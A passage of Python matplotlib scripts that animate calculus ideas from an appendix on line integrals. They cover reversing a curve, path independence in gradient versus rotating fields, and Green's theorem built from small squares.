          "fwd": (r"Run along $\boldsymbol{\gamma}$: $\int_{\boldsymbol{\gamma}}\varphi\,ds$ adds $\varphi\,ds$, "
                  r"$\int_{\boldsymbol{\gamma}}\mathbf{V}\cdot d\mathbf{r}$ adds $(\mathbf{V}\cdot\mathbf{T})\,ds$",
                  r"Definitions A.11, A.13; $\mathbf{T}=\boldsymbol{\gamma}'/|\boldsymbol{\gamma}'|$ is the unit tangent, $ds=|\boldsymbol{\gamma}'|\,dt$"),
          "done": (r"Forwards: $\int_{\boldsymbol{\gamma}}\varphi\,ds=%s$, $\int_{\boldsymbol{\gamma}}\mathbf{V}\cdot d\mathbf{r}=%s$"
                   % (fmt(FW["I"][-1]), fmt(FW["W"][-1])), "now run the same curve backwards"),
          "rev": (r"Backwards along $-\boldsymbol{\gamma}$: every tangent $\mathbf{T}$ is flipped",
                  r"$\varphi$ does not see $\mathbf{T}$; $\mathbf{V}\cdot\mathbf{T}$ changes sign (graphs: dashed = forwards)"),
          "end": (r"$\int_{-\boldsymbol{\gamma}}\varphi\,ds=%s=\int_{\boldsymbol{\gamma}}\varphi\,ds$ (A.12),   "
                  r"$\int_{-\boldsymbol{\gamma}}\mathbf{V}\cdot d\mathbf{r}=%s=-\int_{\boldsymbol{\gamma}}\mathbf{V}\cdot d\mathbf{r}$ (A.14)"
                  % (fmt(BW["I"][-1]), fmt(BW["W"][-1])), "reversing the curve: the scalar integral is unchanged, the vector one changes sign")}


def frame(k):
    clear()
    ph, u = SCHED[k]
    title.set_text(TITLES[ph][0]); sub.set_text(TITLES[ph][1])
    back = ph in ("rev", "end"); R = BW if back else FW
    i = {"intro": 0, "fwd": int(round(u * (N - 1))), "done": N - 1, "rev": int(round(u * (N - 1))), "end": N - 1}[ph]
    z, T, vt = R["z"][i], R["T"][i], R["vt"][i]
    live.extend(axp.plot(R["z"][:i + 1].real, R["z"][:i + 1].imag, color=CCOL, lw=3))
    for j in (100, 300):
        arr(axp, R["z"][j - 4], R["z"][j + 4], CCOL, ms=18)
    for w, s in ((R["z"][0], "start"), (R["z"][-1], "end")):
        live.append(axp.text(w.real, w.imag - 0.2, s, ha="center", va="top", fontsize=11, color="0.3"))
    c = POS if vt >= 0 else NEG; v = Vf(z)
    live.extend(axp.plot([(z - 1.1 * T).real, (z + 1.1 * T).real], [(z - 1.1 * T).imag, (z + 1.1 * T).imag], color="0.5", lw=0.8, ls=":"))
    arr(axp, z, z + 0.55 * v, PCOL, lw=2.4); arr(axp, z, z + 0.6 * T, "k", lw=1.6, ms=13)
    live.extend(axp.plot([(z + 0.55 * v).real, (z + 0.55 * vt * T).real], [(z + 0.55 * v).imag, (z + 0.55 * vt * T).imag], color="0.4", lw=1, ls="--"))
    live.extend(axp.plot([z.real, (z + 0.55 * vt * T).real], [z.imag, (z + 0.55 * vt * T).imag], color=c, lw=5, alpha=0.8, solid_capstyle="butt"))
    live.append(axp.text((z + 0.62 * v).real, (z + 0.62 * v).imag, r"$\mathbf{V}$", color=PCOL, fontsize=14, ha="center", va="center"))
    live.append(axp.text((z + 0.75 * T).real, (z + 0.75 * T).imag, r"$\mathbf{T}$", fontsize=14, ha="center", va="center"))
    live.append(axp.scatter([z.real], [z.imag], s=70, color=CCOL, zorder=7, edgecolor="white"))
    live.append(axp.text(-2.5, -1.25, r"$\mathbf{V}\cdot\mathbf{T}=%s$" % fmt(vt, 3), color=c, fontsize=13))
    s = R["s"]
    if back:
        live.extend(A1.plot(s, FW["f"], color="0.6", lw=1, ls="--"))
        live.extend(A2.plot(s, FW["vt"], color="0.6", lw=1, ls="--"))
    live.extend(A1.plot(s, R["f"], color="0.45", lw=1.2)); live.extend(A2.plot(s, R["vt"], color="0.45", lw=1.2))
    live.append(A1.fill_between(s[:i + 1], 0, R["f"][:i + 1], color=CCOL, alpha=0.35, lw=0))
    for w, cc in ((R["vt"][:i + 1] >= 0, POS), (R["vt"][:i + 1] <= 0, NEG)):
        live.append(A2.fill_between(s[:i + 1], 0, R["vt"][:i + 1], where=w, color=cc, alpha=0.4, lw=0, interpolate=True))
    live.append(A1.scatter([s[i]], [R["f"][i]], s=35, color=CCOL, zorder=5))
    live.append(A2.scatter([s[i]], [vt], s=35, color=c, zorder=5))
    g = "-" if back else ""
    t1 = r"$\int_{%s\boldsymbol{\gamma}}\varphi\,ds$ so far" % g + "\n" + r"$=%s$" % fmt(R["I"][i])
    t2 = r"$\int_{%s\boldsymbol{\gamma}}\mathbf{V}\cdot d\mathbf{r}$ so far" % g + "\n" + r"$=%s$" % fmt(R["W"][i])
    if back:
        t1 += "\n" + r"(forwards: $%s$)" % fmt(FW["I"][-1]); t2 += "\n" + r"(forwards: $%s$)" % fmt(FW["W"][-1])
    for a, tx in ((A1, t1), (A2, t2)):
        live.append(a.text(1.04, 0.5, tx, transform=a.transAxes, ha="left", va="center", fontsize=12,
                           linespacing=1.6))           # to the right of the graph, clear of it

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(170)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Line integrals (Appendix A), version 2: the work along three paths from p to q, in a gradient
field V = grad F (Theorem A.15: the same value F(q) - F(p) for every path, 0 round a closed loop), then in the
rotating field V = (-y, x) (different values; the closed loop gives 2 x its area, so V is not conservative,
Definition A.16).
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the line-integral animations (make_lineint.py pastes it into each script).
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, POS, NEG = "#1f6f78", "#c96a00", "#2a9d3a", "#d62728"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


def cum(y, x):                                             # running trapezoid integral of y dx
    return np.r_[0, np.cumsum((y[1:] + y[:-1]) * np.diff(x) / 2)]


def fmt(v, d=4):                                           # never prints -0.0000
    return "%.*f" % (d, round(float(v), d) + 0.0)


def arr(ax, a, b, col, lw=2, ms=16, **kw):                 # an arrow from point a to point b (complex numbers)
    live.append(ax.annotate("", xy=(b.real, b.imag), xytext=(a.real, a.imag), zorder=6,
                            arrowprops=dict(arrowstyle="-|>", color=col, lw=lw, mutation_scale=ms, shrinkA=0, shrinkB=0, **kw)))


def setup(h=11.0):
    fig = plt.figure(figsize=(8.4, h))
    title = fig.text(0.5, 0.968, "", ha="center", va="center", fontsize=13.5)
    sub = fig.text(0.5, 0.937, "", ha="center", va="center", fontsize=12, color="0.3")
    return fig, title, sub


def sched(*parts):                                         # [(phase, n frames)] -> [(phase, fraction 0..1)]
    return [(p, i / max(n - 1, 1)) for p, n in parts for i in range(n)]


def ticks(ax, xs, ys):                                     # fixed tick labels (much faster to redraw)
    for set_t, set_l, v in ((ax.set_xticks, ax.set_xticklabels, xs), (ax.set_yticks, ax.set_yticklabels, ys)):
        set_t(v); set_l([("%g" % a).replace("-", "−") for a in v])

N = 2401; t = np.linspace(0, 1, N); p, q = -1.6 - 0.6j, 1.6 + 0.9j; nrm = 1j * (q - p) / abs(q - p)
PATHS = [p + t * (q - p), p + t * (q - p) + 4.4 * t * (1 - t) * nrm, p + t * (q - p) - 4.4 * t * (1 - t) * nrm * (1 + 0.35 * np.sin(3 * np.pi * t))]
LOOP = np.r_[PATHS[2], PATHS[1][::-1][1:]]; tl = np.linspace(0, 1, len(LOOP))
COLS = ["tab:blue", "tab:green", "tab:purple"]; NAMES = [r"$\boldsymbol{\gamma}_{1}$", r"$\boldsymbol{\gamma}_{2}$", r"$\boldsymbol{\gamma}_{3}$"]
F = lambda z: z.real * z.imag + z.real
FIELDS = [lambda z: (z.imag + 1) + 1j * z.real, lambda z: -z.imag + 1j * z.real]    # grad F and (-y, x)


def work(z, V):                                            # running integral of V.dr along the polygon z (midpoint rule)
    m = (z[1:] + z[:-1]) / 2; d = np.diff(z); w = V(m)
    return np.r_[0, np.cumsum(w.real * d.real + w.imag * d.imag)]


WK = [[work(z, V) for z in PATHS + [LOOP]] for V in FIELDS]
AREA = 0.5 * np.sum(LOOP.real * np.roll(LOOP.imag, -1) - LOOP.imag * np.roll(LOOP.real, -1))
DF = F(q) - F(p)
assert max(abs(w[-1] - DF) for w in WK[0][:3]) < 1e-9 and abs(WK[0][3][-1]) < 1e-9 and abs(WK[1][3][-1] - 2 * AREA) < 1e-9
SCHED = sched(("g0", 10), ("g1", 60), ("g2", 15), ("g3", 46), ("g4", 15), ("r0", 12), ("r1", 60), ("r2", 15), ("r3", 46), ("r4", 22))
fig, title, sub = setup()
axp = fig.add_axes([0.03, 0.435, 0.94, 0.47]); axp.set_aspect("equal"); axp.axis("off"); axp.set_xlim(-2.5, 2.5); axp.set_ylim(-2.05, 2.05)
X, Y = np.meshgrid(np.linspace(-2.25, 2.25, 10), np.linspace(-1.8, 1.8, 9)); Z = X + 1j * Y
BG = [[axp.quiver(X, Y, V(Z).real, V(Z).imag, color=PCOL, alpha=0.3, angles="xy", scale_units="xy", scale=6, width=0.004)] for V in FIELDS]
xg, yg = np.meshgrid(np.linspace(-2.5, 2.5, 150), np.linspace(-2.05, 2.05, 130))
cs = axp.contour(xg, yg, F(xg + 1j * yg), levels=np.arange(-4, 4.5, 1), colors="0.6", linewidths=0.8, linestyles="solid")
BG[0].append(cs)
reg = axp.fill(LOOP.real, LOOP.imag, color="0.5", alpha=0.12, lw=0)[0]
for z, c, nm, j in zip(PATHS, COLS, NAMES, (1200, 1200, 880)):
    axp.plot(z.real, z.imag, color=c, lw=1.2, alpha=0.5)
    axp.annotate("", xy=(z[j + 48].real, z[j + 48].imag), xytext=(z[j - 48].real, z[j - 48].imag), arrowprops=dict(arrowstyle="-|>", color=c, lw=1.5, mutation_scale=15))
    w = z[j] + 0.28 * np.sign((z[j] - PATHS[0][j]).imag + 1e-9) * nrm; axp.text(w.real, w.imag, nm, color=c, fontsize=15, ha="center", va="center")
for w, nm in ((p, r"$\mathbf{p}$"), (q, r"$\mathbf{q}$")):
    axp.scatter([w.real], [w.imag], s=60, color="k", zorder=8); axp.text(w.real + 0.12 * np.sign(w.real), w.imag, nm, fontsize=16, ha="left" if w.real > 0 else "right", va="center")
ax = fig.add_axes([0.1, 0.06, 0.86, 0.3]); ax.set_xlim(0, 1)
lo = min(w.min() for W in WK for w in W); hi = max(w.max() for W in WK for w in W); ax.set_ylim(lo - 0.5, hi + 1.6)
ax.axhline(0, color="0.6", lw=0.8); ax.tick_params(labelsize=10); ax.set_xlabel("fraction of the path run so far", labelpad=2)
ax.set_ylabel("work so far"); ticks(ax, [0, 0.2, 0.4, 0.6, 0.8, 1], [-5, 0, 5, 10])
hl = ax.axhline(DF, color="0.3", lw=1, ls="--"); hlt = ax.text(0.66, DF + 0.2, r"$F(\mathbf{q})-F(\mathbf{p})=%s$" % fmt(DF), fontsize=11, color="0.3")
TT = {"g0": (r"A gradient field $\mathbf{V}=\nabla F=(y+1,\ x)$, $F(x,y)=xy+x$",
             r"grey: level curves of $F$;  $F(\mathbf{p})=%s$, $F(\mathbf{q})=%s$" % (fmt(F(p)), fmt(F(q)))),
      "g1": ("The work along three different paths from p to q", r"$\int_{\boldsymbol{\gamma}}\nabla F\cdot d\mathbf{r}=F(\mathbf{q})-F(\mathbf{p})$ for every path (Theorem A.15)"),
      "g3": (r"A closed loop: along $\boldsymbol{\gamma}_{3}$ to $\mathbf{q}$, back along $-\boldsymbol{\gamma}_{2}$ to $\mathbf{p}$",
             r"for a gradient field the work round a closed loop is $0$ (Theorem A.15)"),
      "r0": (r"The same paths in the rotating field $\mathbf{V}=(-y,\ x)$", "is the work still the same for every path?"),
      "r1": (r"The work along the same three paths, now for $\mathbf{V}=(-y,\ x)$", "the three values are different"),
      "r3": (r"The same closed loop in the rotating field $\mathbf{V}=(-y,\ x)$",
             r"$\oint\mathbf{V}\cdot d\mathbf{r}=%s=2\times$ area enclosed (Green, Theorem A.17, with $P=-y$, $Q=x$)" % fmt(WK[1][3][-1]))}
TT["g2"] = (r"All three paths give $%s=F(\mathbf{q})-F(\mathbf{p})$" % fmt(DF), "the work does not depend on the path")
TT["g4"] = (r"$\oint\nabla F\cdot d\mathbf{r}=%s$ round the closed loop" % fmt(WK[0][3][-1]), "")
TT["r2"] = ("Three paths from p to q, three different values: " + ", ".join(fmt(w[-1]) for w in WK[1][:3]),
            r"so $\mathbf{V}=(-y,\ x)$ is not conservative (Definition A.16)")
TT["r4"] = (r"Closed loop: $\oint\mathbf{V}\cdot d\mathbf{r}=%s\neq0$ for $\mathbf{V}=(-y,x)$;  $0$ for $\nabla F$" % fmt(WK[1][3][-1]),
            r"path independence $\Leftrightarrow$ zero round every closed loop $\Leftrightarrow$ conservative")
ORDER = ["g0", "g1", "g2", "g3", "g4", "r0", "r1", "r2", "r3", "r4"]


def frame(k):
    clear()
    ph, u = SCHED[k]; f = int(ph[0] == "r"); st = ORDER.index(ph) % 5
    title.set_text(TT[ph][0]); sub.set_text(TT[ph][1])
    for j in (0, 1):
        for a in BG[j]:
            a.set_visible(j == f)
    hl.set_visible(not f); hlt.set_visible(not f)
    i = 0 if st == 0 else (int(round(u * (N - 1))) if st == 1 else N - 1)
    il = 0 if st < 3 else (int(round(u * (len(LOOP) - 1))) if st == 3 else len(LOOP) - 1)
    reg.set_visible(st >= 3)
    if f:
        for j in range(3):
            live.extend(ax.plot(t, WK[0][j], color=COLS[j], lw=1, alpha=0.25))
    rows = []
    for j, z in enumerate(PATHS):
        w = WK[f][j]; a = 0.3 if st >= 3 else 1
        live.extend(axp.plot(z[:i + 1].real, z[:i + 1].imag, color=COLS[j], lw=3, alpha=a))
        if st in (1, 2):
            live.append(axp.scatter([z[i].real], [z[i].imag], s=60, color=COLS[j], zorder=9, edgecolor="white"))
        live.extend(ax.plot(t[:i + 1], w[:i + 1], color=COLS[j], lw=2.2, alpha=a))
        if st >= 1:
            live.append(ax.scatter([t[i]], [w[i]], s=30, color=COLS[j], zorder=5, alpha=a))
        rows.append((NAMES[j] + r":  $\int\mathbf{V}\cdot d\mathbf{r}=%s$" % fmt(w[i]), COLS[j]))
    if st >= 3:
        w = WK[f][3]
        live.extend(axp.plot(LOOP[:il + 1].real, LOOP[:il + 1].imag, color="k", lw=2.6))
        if st == 3:
            live.append(axp.scatter([LOOP[il].real], [LOOP[il].imag], s=70, color="k", zorder=9, edgecolor="white"))
        live.extend(ax.plot(tl[:il + 1], w[:il + 1], color="k", lw=2.4)); live.append(ax.scatter([tl[il]], [w[il]], s=35, color="k", zorder=6))
        rows.append((r"loop $\boldsymbol{\gamma}_{3}-\boldsymbol{\gamma}_{2}$:  $\oint\mathbf{V}\cdot d\mathbf{r}=%s$" % fmt(w[il]), "k"))
    for r, (tx, c) in enumerate(rows):
        live.append(ax.text(0.015, 0.95 - 0.105 * r, tx, color=c, transform=ax.transAxes, fontsize=12, va="top"))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(290)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Green's theorem (Theorem A.17), version 3: cut D = [-1,1]^2 into n x n squares (n = 2, 4, 8), pull them
apart, run round each, put them back: inside edges cancel, so the little circulations add up to the integral round
the boundary of D; each is about (Q_x - P_y)(centre) x area. P = y^3/3, Q = x + 3x^2/4.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the line-integral animations (make_lineint.py pastes it into each script).
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, POS, NEG = "#1f6f78", "#c96a00", "#2a9d3a", "#d62728"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


def cum(y, x):                                             # running trapezoid integral of y dx
    return np.r_[0, np.cumsum((y[1:] + y[:-1]) * np.diff(x) / 2)]


def fmt(v, d=4):                                           # never prints -0.0000
    return "%.*f" % (d, round(float(v), d) + 0.0)


def arr(ax, a, b, col, lw=2, ms=16, **kw):                 # an arrow from point a to point b (complex numbers)
    live.append(ax.annotate("", xy=(b.real, b.imag), xytext=(a.real, a.imag), zorder=6,
                            arrowprops=dict(arrowstyle="-|>", color=col, lw=lw, mutation_scale=ms, shrinkA=0, shrinkB=0, **kw)))


def setup(h=11.0):
    fig = plt.figure(figsize=(8.4, h))
    title = fig.text(0.5, 0.968, "", ha="center", va="center", fontsize=13.5)
    sub = fig.text(0.5, 0.937, "", ha="center", va="center", fontsize=12, color="0.3")
    return fig, title, sub


def sched(*parts):                                         # [(phase, n frames)] -> [(phase, fraction 0..1)]
    return [(p, i / max(n - 1, 1)) for p, n in parts for i in range(n)]


def ticks(ax, xs, ys):                                     # fixed tick labels (much faster to redraw)
    for set_t, set_l, v in ((ax.set_xticks, ax.set_xticklabels, xs), (ax.set_yticks, ax.set_yticklabels, ys)):
        set_t(v); set_l([("%g" % a).replace("-", "−") for a in v])

from matplotlib.collections import LineCollection, PolyCollection
from matplotlib.colors import LinearSegmentedColormap, to_rgb
P = lambda z: z.imag ** 3 / 3; Q = lambda z: z.real + 0.75 * z.real ** 2; curl = lambda z: 1 + 1.5 * z.real - z.imag ** 2
GX, GW = np.polynomial.legendre.leggauss(4)


def seg(a, b):                                             # int P dx + Q dy along the segments a -> b (exact for these P, Q)
    a, b = np.asarray(a), np.asarray(b); d = b - a; z = (a + b)[..., None] / 2 + d[..., None] / 2 * GX
    return ((P(z) * d.real[..., None] + Q(z) * d.imag[..., None]) * GW / 2).sum(-1)


SQ = np.array([-1 - 1j, 1 - 1j, 1 + 1j, -1 + 1j]); SIDE = seg(SQ, np.roll(SQ, -1)); BND = SIDE.sum()
DBL = 8 / 3                                                # int_D (1 + 3x/2 - y^2) dA = 4 + 0 - 4/3
assert abs(BND - DBL) < 1e-12
G = {}
for n in (2, 4, 8):
    h = 2 / n; c = (-1 + h / 2 + h * np.arange(n))[:, None] + 1j * (-1 + h / 2 + h * np.arange(n))[None, :]; c = c.ravel()
    C = c[:, None] + h / 2 * np.array([-1 - 1j, 1 - 1j, 1 + 1j, -1 + 1j]); m = (C + np.roll(C, -1, 1)) / 2
    E = seg(C, np.roll(C, -1, 1)); inn = (abs(m.real) < 1 - 1e-9) & (abs(m.imag) < 1 - 1e-9)
    G[n] = dict(h=h, c=c, C=C, E=E, inn=inn, circ=E.sum(1), mid=curl(c) * h * h, gap={2: 0.35, 4: 0.4, 8: 0.42}[n])
    assert abs(G[n]["circ"].sum() - BND) < 1e-12 and abs(E[inn].sum()) < 1e-12
cm = LinearSegmentedColormap.from_list("rg", [NEG, "white", POS]); VM = 2.5
S = [("A", 32), ("Ah", 10)]
for n, r in ((2, 34), (4, 26), (8, 22)):
    S += [((st, n), d) for st, d in (("cut", 6), ("pull", 12 if n == 2 else 10), ("run", r), ("hold", 12 if n == 2 else 8),
                                     ("back", 12 if n == 2 else 10), ("glow", 20 if n == 2 else 16), ("sum", 10 if n == 2 else 8))]
SCHED = sched(*(S + [("end", 22)]))
fig, title, sub = setup()
ax = fig.add_axes([0.1, 0.32, 0.8, 0.59]); ax.set_aspect("equal"); ax.axis("off"); ax.set_xlim(-1.45, 1.45); ax.set_ylim(-1.45, 1.45)
xg = np.linspace(-1, 1, 120); IM = ax.imshow(curl(xg[None, :] + 1j * xg[:, None]), extent=(-1, 1, -1, 1), origin="lower", cmap=cm, vmin=-VM, vmax=VM, alpha=0.55)
fig.text(0.5, 0.3, r"colour: $Q_x-P_y=1+\frac{3}{2}x-y^{2}$  (green $>0$, red $<0$)", ha="center", fontsize=11, color="0.3")
fig.text(0.07, 0.255, r"$P=\frac{y^{3}}{3},\ Q=x+\frac{3}{4}x^{2}$:   $\oint_{\partial D}P\,dx+Q\,dy=%s$,   $\iint_{D}(Q_x-P_y)\,dA=%s$" % (fmt(BND), fmt(DBL)), fontsize=12.5)
for x, tx in ((0.07, "squares"), (0.25, "sum of the little circulations"), (0.62, r"sum of $(Q_x-P_y)(\mathrm{centre})\times\mathrm{area}$")):
    fig.text(x, 0.205, tx, fontsize=12, color="0.3")
ROWS = {n: [fig.text(x, 0.16 - 0.045 * i, "", fontsize=12.5) for x in (0.07, 0.25, 0.62)] for i, n in enumerate((2, 4, 8))}
ORD = [s_[0] for s_ in S]


def at(Cs, s):                                             # a fraction s of the way round each square, from its bottom-left corner
    e = np.minimum((4 * s).astype(int) if np.ndim(s) else int(min(4 * s, 3.999)), 3); u = 4 * s - e
    return Cs[:, e] + (np.roll(Cs, -1, 1)[:, e] - Cs[:, e]) * u


def boundary(s, col="k", arrows=True):
    A_ = SQ; B_ = np.roll(SQ, -1); u = np.clip(4 * s - np.arange(4), 0, 1)
    live.append(ax.add_collection(LineCollection([[(a.real, a.imag), ((a + (b - a) * v).real, (a + (b - a) * v).imag)] for a, b, v in zip(A_, B_, u) if v > 0], colors=col, lw=2.8)))
    for a, b, v in zip(A_, B_, u):
        if v > 0.6 and arrows:
            arr(ax, a + 0.44 * (b - a), a + 0.56 * (b - a), col, ms=18)
    return (seg(A_, A_ + (B_ - A_) * u)).sum()


def pieces(n, g, s, f=0.0, glow=0.0, nums=False):
    D = G[n]; off = (g * D["gap"] * D["c"])[:, None]; C = D["C"] + off; B_ = np.roll(C, -1, 1); h = D["h"]
    u = np.clip(4 * s - np.arange(4), 0, 1)[None, :] * np.ones(C.shape)
    if s > 0:
        pc = PolyCollection([np.c_[q.real, q.imag] for q in C], facecolors=cm(0.5 + 0.5 * D["circ"] / h / h / VM), alpha=0.75 * min(1, s), edgecolors="none")
        live.append(ax.add_collection(pc))
    live.append(ax.add_collection(LineCollection([np.c_[q.real, q.imag][[0, 1, 2, 3, 0]] for q in C], colors="0.6", lw=0.7)))
    E_ = C + (B_ - C) * u; dirs = (B_ - C) / h; mid = (C + B_) / 2 - 0.13 * h * 1j * dirs * -1
    for msk, col, al, lw in ((D["inn"], PCOL, 1 - f, 2.2 + 2.5 * glow), (~D["inn"], tuple((1 - f) * np.array(to_rgb(PCOL))), 1, 2.2)):
        sel = msk & (u > 0)
        if al > 0.01 and sel.any():
            live.append(ax.add_collection(LineCollection(np.stack([np.c_[C[sel].real, C[sel].imag], np.c_[E_[sel].real, E_[sel].imag]], 1), colors=[col], lw=lw, alpha=al)))
        sel = msk & (u > 0.6)
        if al > 0.01 and sel.any():
            L = 0.3 * h * (1 + 0.4 * glow * (msk is D["inn"]))
            live.append(ax.quiver(mid[sel].real, mid[sel].imag, L * dirs[sel].real, L * dirs[sel].imag, color=[col], alpha=al, pivot="mid", angles="xy",
                                  scale_units="xy", scale=1, width=0.004, headwidth=5, headlength=6, headaxislength=5.5, zorder=5))
    if 0 < s < 1:
        p = at(C, s); live.append(ax.scatter(p.real, p.imag, s=max(12, 60 / n), color=PCOL, zorder=6, edgecolor="white", lw=0.5))
    if nums and n < 8:
        for c0, cc, mm in zip(D["c"] + off[:, 0], D["circ"], D["mid"]):
            tx = r"$\oint=%s$" % fmt(cc) + "\n" + r"$\mathrm{curl}\times\mathrm{area}$" + "\n" + r"$=%s$" % fmt(mm) if n == 2 else fmt(cc, 3)
            live.append(ax.text(c0.real, c0.imag, tx, ha="center", va="center", fontsize=12.5 if n == 2 else 9.5))
    return seg(C, E_).sum()


def frame(k):
    clear()
    ph, v = SCHED[k]
    st, n = ph if isinstance(ph, tuple) else (ph, 0)
    i = ORD.index(ph) if ph in ORD else len(ORD)
    for m in (2, 4, 8):
        for r in ROWS[m]:
            r.set_text("")
    for m in (2, 4, 8):                                    # finished rows
        if i > ORD.index(("sum", m)) or (st == "sum" and n == m):
            ROWS[m][0].set_text(r"$%d\times%d$" % (m, m)); ROWS[m][1].set_text("$%s$" % fmt(G[m]["circ"].sum())); ROWS[m][2].set_text("$%s$" % fmt(G[m]["mid"].sum()))
    IM.set_visible(st in ("A", "Ah", "cut", "end"))
    if st in ("A", "Ah", "end"):
        w = boundary(v if st == "A" else 1.0)
        if st == "A" and v < 1:
            z = at(SQ[None, :], v)[0]; live.append(ax.scatter([z.real], [z.imag], s=70, color="k", zorder=7, edgecolor="white"))
        if st == "end":
            title.set_text(r"Green's theorem (A.17): $\oint_{\partial D}P\,dx+Q\,dy=\iint_{D}(Q_x-P_y)\,dA=%s$" % fmt(DBL))
            sub.set_text(r"every grid: little circulations add up exactly to $\oint_{\partial D}$; their sum of curl$\times$area tends to $\iint_{D}$")
        else:
            title.set_text(r"Once round the boundary of $D=[-1,1]^{2}$, counterclockwise")
            sub.set_text(r"$\oint_{\partial D}P\,dx+Q\,dy$ so far $=%s$" % fmt(w))
        return
    D = G[n]
    if st == "cut":
        live.append(ax.add_collection(LineCollection([np.c_[q.real, q.imag][[0, 1, 2, 3, 0]] for q in D["C"]], colors="0.3", lw=1.2, alpha=v)))
        boundary(1.0, col="0.6")
        title.set_text(r"Cut $D$ into $%d\times%d$ squares of side $%s$" % (n, n, fmt(D["h"], 2 if n == 8 else 1)))
        sub.set_text("")
        return
    g = {"pull": ease(v), "run": 1, "hold": 1, "back": 1 - ease(v)}.get(st, 0); s = min(v, 0.999) if st == "run" else 1.0
    f = ease((v - 0.45) / 0.55) if st == "glow" else (1.0 if st == "sum" else 0.0)
    glow = np.sin(np.pi * min(v / 0.45, 1.0)) if st == "glow" else 0.0
    w = pieces(n, g, 0.0 if st == "pull" else s, f, glow, nums=st in ("hold", "back", "glow"))
    if st == "sum":
        boundary(1.0, arrows=False)
    if st == "run":
        ROWS[n][0].set_text(r"$%d\times%d$" % (n, n)); ROWS[n][1].set_text("so far $%s$" % fmt(w))
    T = {"pull": ("Pull the squares apart ...", ""),
         "run": (r"... and run round each square $S$, counterclockwise, all at once",
                 r"each little circulation $\oint_{\partial S}P\,dx+Q\,dy\approx(Q_x-P_y)(\mathrm{centre})\times\mathrm{area}(S)$"),
         "hold": (r"The %d little circulations (fill colour: circulation$\,/\,$area)" % (n * n),
                  r"compare the colour of $Q_x-P_y$ in the first picture" if n > 2 else r"compare each $\oint_{\partial S}$ with $(Q_x-P_y)(\mathrm{centre})\times\mathrm{area}$"),
         "back": ("Put the squares back", ""),
         "glow": ("Each inside edge is run twice, in opposite directions: those parts cancel",
                  r"the inside edges contribute $%s$ in total; what is left is $\partial D$, once round" % fmt(D["E"][D["inn"]].sum())),
         "sum": (r"$%d\times%d$: the little circulations add up to $%s=\oint_{\partial D}P\,dx+Q\,dy$" % (n, n, fmt(D["circ"].sum())),
                 r"and $\sum(Q_x-P_y)(\mathrm{centre})\times\mathrm{area}=%s$, near $\iint_{D}(Q_x-P_y)\,dA=%s$" % (fmt(D["mid"].sum()), fmt(DBL)))}[st]
    title.set_text(T[0]); sub.set_text(T[1])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(105)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))


